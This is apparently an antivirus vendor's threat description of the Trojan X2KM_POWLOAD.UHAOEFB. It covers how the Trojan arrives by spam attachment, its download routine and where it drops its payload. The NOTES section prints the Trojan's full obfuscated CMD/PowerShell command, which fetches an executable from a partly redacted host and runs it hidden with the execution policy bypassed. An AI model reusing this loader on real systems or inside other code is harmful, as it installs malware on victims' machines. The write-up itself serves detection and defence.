X2KM_POWLOAD.UHAOEFB

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}ota.com/csshead

It saves the files it downloads using the following names:

• %AppDataLocal%\rnohht.exe

(Note: %AppDataLocal% is the Application Data folder found in Local Settings, where it is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

NOTES:

The Microsoft Excel file contains the following fake details luring users to enable macro content:

This Trojan executes the following command to download and execute a malicious file:

CMD /C "seT xOtw= sEt-vaRIABlE 387n ([TYpE]("{0}{3}{2}{1}" -f 'E','nT','mE','nviRoN') ); do{^&("{1}{0}" -f 'p','slee') 41;${Om`Es} = (ls VArIable:387N ).VaLuE::('G'+'etF'+'old'+'erP'+'ath')."Inv`oke"(('L'+'oc'+'alAp'+'plicati'+'onData'));(^&("{2}{0}{1}"-f'O','bject','New-') System.Net.WebClient)."doWNl`oa`dF`iLe"."Inv`OKE"(('http://{BLOCKED}d'+'ota.co'+'m/csshe'+'ad'),"$omes\\rnohht.exe")}while(!${?});^&("{0}{3}{2}{1}"-f 'S','ess','roc','tart-P') $omes\rnohht.exe&&sET CPGFt=ecHO (GeT-ItEm VaRIabLE:Ex*Xt).VAlUE.InVoKecOmManD.invoKesCRiPt( (ITeM Env:XOTw).vaLUE)^| poWERSHell -noPRo -nONInTeRA -Exe byPaSS -nOLO -WINDO Hidden ${inpUT}^^^| ^^^& ((VAriAbLe '*MDr*').Name[3,11,2]-jOIN'') &&cMD /C%CPGft%"